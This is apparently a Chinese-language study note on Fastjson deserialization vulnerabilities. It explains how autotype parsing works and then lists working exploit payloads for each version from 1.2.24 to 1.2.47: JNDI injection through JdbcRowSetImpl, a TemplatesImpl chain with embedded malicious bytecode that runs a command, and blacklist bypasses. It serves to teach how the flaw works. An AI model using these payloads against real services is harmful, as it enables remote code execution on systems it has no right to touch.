FastJson
概述
FastJson 是阿里巴巴开源的 JSON 解析库,支持 JSON Object 和 JSON 字符串的互转。
主要提供了以下接口用于序列化和反序列化:
JSON.toJSONString
JSON.parseObject / JSON.parse
不是所有的 JAVA 对象都能被转为 JSON,只有 Java Bean 格式的对象才能被 Fastjson 转为 JSON。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.example;
public class Person { public String name; public int age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; } }
|
如果序列化对象的时候,如果 toJSONString() 方法不添加额外的属性,那么就会将一个 Java Bean 转换成 JSON 字符串(且不带类名)。
如果反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。需要注意的是,对于类中 private 类型的属性值,Fastjson 默认不会将其序列化和反序列化。
在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串。
Fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
@type
1 2
| String jsonStr = JSON.toJSONString(person, SerializerFeature.WriteClassName);
|
这里的 @type 就很好标识了类的来源,
1 2
| System.out.println(JSON.parse(jsonStr));
|
也可以通过反序列化时候指定对象的类型,但这显然是冗杂且固定的。
1
| JSON.parseObject(JSON_Serialize,Person.class);
|
流程分析
我们重点关注一下 parse 方法是如何将一个 JSON 字符串反序列化为一个 JSON Object 对象的:

这里只是对 parse 做了封装,如果不是 JSONObject 就强转一下。


可以推测出在反序列化过程中,会先调用 @type 类的构造函数,再调用 setattr 给对象赋值。
这里可以看到 parse 方法本质调用了 set 方法(JSONString 中有的字段),而 praseObject 方法本质调用的是 get 方法(所有字段,本质是 ToJson 方法调用的)和 set 方法(JSONString 中有的字段)。
但如果不试用 @type 则在 parseObject 中不会调用 toJson,因此也不会调用 getattr。
源码分析
会走到 DefaultJSONParser#parseObject 方法:

这里会通过 scanSymbol 方法解析出来表示符 @type。

然后会进行反射加载 Class,调用构造方法。

然后会一步步判断根据类来生成不同的或者自定义的 deserializer 。
最后会动态获取属性和方法,接着循环查找特定的 setter:
- 方法名长度大于四,以
set/get 开头,且第四个字母要大写
- 非静态方法
- 返回值为 void 或当前类
- 参数数量一个
漏洞与利用
注意到这种 autotype 的属性配合 set 方法,就能够触发反序列化漏洞。
FastJson <= 1.2.24
JdbcRowSetImpl
setDataSourceName 方法:


这里会设置 dataSource = name。
setAutoCommit 方法:


这里会触发 lookup 方法,参数正是 dataSource,所以说我们就控制 dataSource 为我们想要的服务器地址。
payload:
1 2 3 4 5 6 7 8 9 10 11
| { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/hello", "autoCommit": true }
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/EXP", "autoCommit": true }
|
TemplatesImpl
其实这条链在 CC3 的时候已经利用过了,大体原理就是 TemplatesImpl 最后的目标都是调用 defineClass 进行动态类加载,那么该类下面的 getOutProperties 方法能走到 defineClass,我们需要构造一个 TemplatesImpl 类的 JSON,并且将 _outputProperties 复制,这样就会调用 getOutputProperties 方法进而调用 defineClass 方法。
具体方法链:getOutputProperties => newTransformer => getTransletInstance => defineTranslateClasses => defineClass
要注意:
_name 不为 null
_class 不为 null
_tfactory 不为 null
加载的恶意类必须是 AbstractTranslet 的子类
需要把 bytes 类型的东西进行 Base64 编码
需要 Feature.SupportNonPublicField,支持私有属性

恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Payload extends AbstractTranslet { public Payload() throws IOException{ Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException { Payload payload = new Payload(); } }
|
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson_Temp { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
|
FastJson = 1.2.25-1.2.41
高版本增加了对类的checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport,默认开启白名单机制(AutoTypeSupport = false),需要手动关闭才可以。
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|

我们设置 autoTypeSupport = true 后,跟进 TypeUtils#loadClass 看一下:

可以发现如果以 [ 开头去掉 [ 进行类加载;如果以 L 开头,以 ; 结尾,则去掉开头和结尾进行类加载。
1 2 3 4 5
| { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "rmi://127.0.0.1:1099/hello", "autoCommit": true }
|
FastJson = 1.2.42
- 黑名单改为了 hash 值,防止绕过
- 对于传入的类名删掉开头的
L 和 ;
理论上来说可以通过碰撞 hash 值碰出黑名单是什么的,不过其实没必要,因为双写就可以绕过。
1 2 3 4 5
| { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "rmi://127.0.0.1:1099/hello", "autoCommit": true }
|
FastJson = 1.2.43
这个版本对 L 和 ; 进行了过滤,只能够通过数组的方式:第一个 [ 表示数组,第二个 [ 表示数组开始,数组第一个元素对象开始 {。
payload:
1 2 3 4 5
| { "@type": "[com.sun.rowset.JdbcRowSetImpl[{", "dataSourceName": "rmi://127.0.0.1:1099/hello", "autoCommit": true }
|
FastJson = 1.2.45
存在 mybatis 组件漏洞:
1 2 3 4 5
| <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.6</version> </dependency>
|
payload:
1 2 3 4 5 6
| { "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "rmi://127.0.0.1:1099/hello" } }
|
FastJson = 1.2.47
该版本Payload能够绕过 checkAutoType 内的各种检测,原理是通过 Fastjson 自带的缓存机制将恶意类加载到 Mapping 中,从而绕过 checkAutoType 检测。
看一下代码:

注意到 mapping 中如果有缓存那么就可以绕过黑名单检测,下一步我们怎么控制 mapping 属性从而写入恶意类到 mapping 中。

注意到是从 mapping 中获取类名,那就看看这个 mapping.put 在哪被调用的。

上面的 loadClass 被自动调用,调用到下面的缓存方法且 cache 默认是 true,非常完美。
那么第一个 loadClass 在哪被调用的呢,我们找到 MiscCodec#deserialze。

其中 clazz 必须是 Class.class,strVal 就是 className,

写入 val 属性:

这样就可以先写入缓存,然后再读取。
payload:
1 2 3 4 5 6 7 8 9 10 11
| { "1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/hello", "autoCommit": true } }
|
此版本无需 AutoTypeSupport = true。
其他 Trick
当存在反序列化漏洞,并可以跳转到 toString 为入口时,就可以通过 Fastjson 的 com.alibaba.fastjson.JSONObject.toString 方法,这个方法可以调用任意类的 getter 方法,也就可以配合 TemplatesImpl 进行RCE。
1 2 3 4 5 6 7
| ...能够调用任意类的toString()方法 * com.alibaba.fastjson.JSONObject.toString() * com.alibaba.fastjson.JSON.toString() * com.alibaba.fastjson.JSON.toJSONString() * com.alibaba.fastjson.serializer.MapSerializer.write() * TemplatesImpl.getOutputProperties() ...TemplatesImpl的调用过程
|